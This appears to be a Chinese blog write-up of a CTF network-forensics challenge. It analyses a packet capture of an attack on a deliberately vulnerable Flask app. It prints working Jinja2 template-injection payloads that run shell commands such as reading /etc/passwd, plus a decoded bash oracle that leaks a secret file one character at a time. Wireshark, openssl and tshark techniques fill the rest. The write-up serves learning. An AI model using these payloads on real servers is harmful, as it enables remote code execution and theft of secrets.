banner
Hi my new friend!

hacktb_春秋杯_NetHttP

Scroll down

最关键的思路

wireshark足够强,可以直接过滤出数据,然后可以用各种形式导出,可以直接导出成capcng或者给txt(可能会限制长度)也可以直接导出成json

SSIT

模板注入攻击(Server-Side Template Injection)指未经处理就将用户输入的内容作为web应用模板内容的一部分.

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园

flask对应后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request,render_template_string,Response,session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():
return open(__file__).read()

@app.route("/rce",methods=["GET"])
def rce():
data = request.args.get("name","Guest")
return render_template_string(f"Welcome {data}")

if __name__ == "__main__":
app.run(host="0.0.0.0",port=8989,debug=False)

高危代码!: return render_template_string(f"Welcome {data}")

直接将用户输入的东西渲染为模板返回,这样也是高危

1
2
data = request.args.get("name","Guest")
return render_template_string(f"Welcome + data")

本次环境中漏洞执行前提SSTI 攻击原理

  1. 模板引擎的工作方式:Flask 使用 Jinja2 模板引擎,它会解析模板中的特殊语法(如 {{ }})并执行其中的表达式。
  2. 用户输入直接拼接:当用户控制的输入 (data) 被直接插入模板字符串时,攻击者可以注入模板语法。
  3. 执行任意代码:通过精心构造的输入,攻击者可以访问 Python 内置对象和方法,最终实现远程代码执行。

flask中的SSIT高危代码命令执行

1
2
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
{{''.__class__.__mro__[1].__subclasses__()[123]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0]}}

第一个Payload分析

1
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat /etc/passwd').read()}}

分步解析:

  1. ''.__class__
    获取空字符串的类对象,即<class 'str'>
  2. .__mro__[1]
    访问方法解析顺序(MRO),获取父类<class 'object'>
    (MRO返回元组:(str, object),索引1是object)
  3. .__subclasses__()
    获取object的所有子类列表(约200-400个内置类)
  4. [X]
    选择特定索引的子类(攻击者需要找到包含os模块的类,常见目标如<class 'os._wrap_close'>)
  5. .__init__.__globals__
    访问该类的初始化方法的全局命名空间字典
    (包含导入的模块和全局变量)
  6. ['os']
    从globals中获取os模块引用
  7. .popen('cat /etc/passwd').read()
    通过os模块执行系统命令并读取结果

实际攻击示例:

如果<class 'subprocess.Popen'>在索引123:

1
{{''.__class__.__mro__[1].__subclasses__()[123]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0]}}

第二个Payload分析

1
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}

分步解析:

  1. ().__class__
    获取空元组的类<class 'tuple'>
  2. .__base__
    获取基类<class 'object'>(与__mro__[1]等效)
  3. .__subclasses__()
    获取所有子类列表
  4. 循环遍历
    {% for x in ... %} 遍历每个子类
  5. 条件判断
    {% if "warning" in x.__name__ %} 查找类名包含”warning”的类
    (如<class 'WarningMessage'><class 'catch_warnings'>)
  6. x()._module.__builtins__
    实例化该类,访问其模块的builtins字典
    (包含所有内置函数和模块)
  7. ['__import__']('os')
    动态导入os模块
  8. .popen('id').read()
    执行系统命令

为什么选择warning相关类?

因为这些类通常会导入__builtins__,且在生产环境中普遍存在,可靠性高。

关键技术点

  1. 对象继承链利用
    通过__class____mro____base____subclasses__()等方法遍历Python对象继承体系
  2. 模块导入技巧
    通过__globals____builtins__获取危险模块(os, subprocess等)
  3. Jinja2特性
    模板中的{{}}会执行表达式,{%%}可以控制逻辑流程
  4. 沙箱逃逸
    绕过Jinja2的沙箱限制,访问底层Python环境

教训

分离数据包

发现很大的pacapng包的时候不要直接开始尝试解包,先看看数据包中是否有包含什么东西

1
binwalk -e ./NetHttP.pacpng

查看POST的传输数据

1
http.request.method == "POST"

选择reponse中的内容

1
http contains "Welcome rce"

解题过程

参考2025春秋杯网络安全联赛冬季赛-部分misc | CN-SEC 中文网

  1. wireshark打开数据包,发现超级大,连加载都很难,过滤出http,找到第一个包,发现存在源码泄露和框架注入的问题

  2. 继续分析数据包发现关键的东西

    1
    2
    3
    4
    5
    6
    GET /rce?name=%7B%7Blipsum.__globals__.__builtins__.eval(%22__import__('os').popen('echo%20aWYgWyAkKGNhdCAvYXBwL3NlY3JldC9tdy9tNXxiYXNlNjQgLXcgMHwgYXdrIE5SPT0xIHwgY3V0IC1jIDEpID09ICdxJyBdOyB0aGVuIGVjaG8gInJjZSI7Zmk=%20%7C%20base64%20-d%7Cbash').read()%22)%7D%7D HTTP/1.1
    Host: 192.168.111.132:8989
    User-Agent: python-requests/2.32.3
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Connection: keep-alive

    关键url

    1
    aWYgWyAkKGNhdCAvYXBwL3NlY3JldC9tdy9tNXxiYXNlNjQgLXcgMHwgYXdrIE5SPT0xIHwgY3V0IC1jIDEpID09ICdxJyBdOyB0aGVuIGVjaG8gInJjZSI7Zmk=

    base64解码后是

    1
    if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'q' ]; then echo "rce";fi

    是一个linux bash脚本

    1
    如果 [ $(读取 /app/secret/mw/m5 文件 | 用base64编码且不换行 | 取第一行 | 截取第一个字符) 等于 'q' ]; 那么 显示 "rce"; 结束

    这是一个最关键的点,检查后面多个包都会发现这个格式,据此判断实际上就是为了获取/app/secret/mw/m5,

    也就是flag很有可能就在这个文件中

  3. 接下来的思路就应该是如何把所有的这个包找出来然后统一解base64然后来获取所有的== 'q'的东西,但是在这个地方我的思维出现了插曲(ctrl点击跳转插曲). 按照wp思路就是筛选出数据包之后导出,然后使用vscode的正则表达式之类的选择方法来进行数据清洗,至于最关键的思路

  4. 筛选出http的回复包含Welcome rce的数据包

    1
    http contains "Welcome rce"

    image-20250419154530570

  5. 导出筛选的数据

    image-20250419154637256

    image-20250419154724581

  6. 然后就是在vscode中正则表达式选中所有的符合的加密式子,使用以下快捷键全部选中复制

    1
    Alt + Enter

    然后cybercooker可以全部一块解码image-20250419155003988

  7. 筛选对应的内容出来再次接base64然后发现一个这个no flag,无法解base64

    image-20250419155330721

  8. 想起来tcp.stream eq 13还有一个密钥,但是加密了,tcp.stream eq 1有个私钥解密

    !!!!!!!!!!!!需要注意的是: 这里的私钥解密方式不是直接把这个rsa私钥导入wireshark然后输密码,而是应该直接解密!,因为wireshark中并没有被加密的tls数据!!!!!!!!!!!

    可以通过这个方式生成一个解密的2.pem

    1
    $ openssl rsa -in 1.pem -out 2.pem
  9. 可以通过私钥来获取rsa的所有数据SSL在线工具-在线RSA私钥解析-在线RSA私钥提取-SSLeye官网

  10. 其实cyberchef更简单,但是似乎需要先base64解密(对于base64解密的rsa密文)

    image-20250419160145792

    CyberChefRSA Decryption 操作中,Encryption Scheme 选项决定了 RSA 解密时使用的填充方式(Padding Scheme),不同的填充方式会影响安全性和适用场景。以下是详细解析:


    CyberChef 中的 RSA Encryption Scheme 选项

    选项 正式名称 填充方式 特点 适用场景
    PKCS#1 v1.5 RSAES-PKCS1-v1_5 固定格式填充 较旧,可能存在漏洞 兼容旧系统
    OAEP (SHA-1) RSAES-OAEP (SHA-1) 随机化填充 + SHA-1 更安全,但SHA-1较弱 一般用途(逐步淘汰)
    OAEP (SHA-256) RSAES-OAEP (SHA-256) 随机化填充 + SHA-256 现代标准,推荐使用 安全通信、HTTPS
    Raw 无填充(教科书式RSA) 直接加密明文 极不安全,仅用于研究 绝对不要用于生产环

插曲

首先要说明实际上是没有意义的,因为wireshark可以将过滤的内容全部导出

考虑到存在很多的base64加密,所以我决定使用python来解析pcapng包,然后使用python直接进行base解密输出,

首先就需要解析出http跟踪流的数据,然后在进行审计

但是在这个34mb的数据包面前,会花费大量的资源和时间,此处不可行,但是总结了以下的一些操作方式

tshark + subprocess

使用python执行系统命令,对输出的调度结果直接进行解析之后处理数据

✅ 优点: tshark就是wireshark的命令行版本,速度极快,对这种大文件的处理非常友好

❌ 缺点: 目前并没有找到好的参考文档,输出的内容会全部先保存到内存中,而且需要全部输出完才能够继续让python处理,耗费极大的资源

​ 每一次调用命令(重新筛选)都需要重新对文件进行加载(否则需要用变量存储,超级大),不是很方便

​ tshark无法直接返回python对象

tshark打印http跟踪流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import subprocess

tshark_path = r'C:\Program Files\Wireshark\tshark.exe'


"""使用tshark的follow功能提取完整HTTP流"""
def extract_http_stream_follow(pcap_path, stream_id):
"""使用tshark的follow功能提取完整HTTP流"""
cmd = [
tshark_path,
'-r', pcap_path,
'-q', # 安静模式
'-z', f'follow,tcp,ascii,{stream_id}' # 使用follow流功能
]

result = subprocess.run(cmd, capture_output=True, text=True)

print(f"\n=== HTTP流 {stream_id} 完整内容 ===")
print(result.stdout)


if __name__ == '__main__':
# 使用示例
extract_http_stream_follow('./NetHttP.pcapng', 1) # 提取流ID为0的完整内容

⚠️注意:

  1. powershell似乎并不支持应用程序路径中有空格,但是cmd支持,不过python调用的环境应该是属于powershell环境,所以对于系统环境中的变量路径C:\Program Files\Wireshark\tshark.exe时常会报找不到文件的错误
  2. 直接在cmd中使用这个操作的前提还是需要放到环境变量中去
  3. tshark_path = r'C:\Program Files\Wireshark\tshark.exe'必须要这样子的方式直接指明带空格的应用才能找到文件

pyshark

pyshark是python版本的wireshark,可以直接进行处理流量包

性能综合之下会好很多,但是对于需要遍历打印所有的http流也需要耗费很长的时间

scapy

处理大文件完全无法使用,性能太差了

其他文章
cover
hacktb_应急响应SU_forensics
  • 25/04/18
  • 00:00
  • 打靶日记
cover
tls学习
  • 25/04/14
  • 00:00
  • 协议学习
目录导航 置顶
  1. 1. 最关键的思路
  2. 2. SSIT
  3. 3. 本次环境中漏洞执行前提SSTI 攻击原理
    1. 3.1. 第一个Payload分析
      1. 3.1.1. 分步解析:
      2. 3.1.2. 实际攻击示例:
    2. 3.2. 第二个Payload分析
      1. 3.2.1. 分步解析:
      2. 3.2.2. 为什么选择warning相关类?
    3. 3.3. 关键技术点
  4. 4. 教训
    1. 4.1. 分离数据包
    2. 4.2. 查看POST的传输数据
    3. 4.3. 选择reponse中的内容
  5. 5. 解题过程
    1. 5.0.1. CyberChef 中的 RSA Encryption Scheme 选项
  • 6. 插曲
    1. 6.1. tshark + subprocess
    2. 6.2. pyshark
    3. 6.3. scapy
  • 请输入关键词进行搜索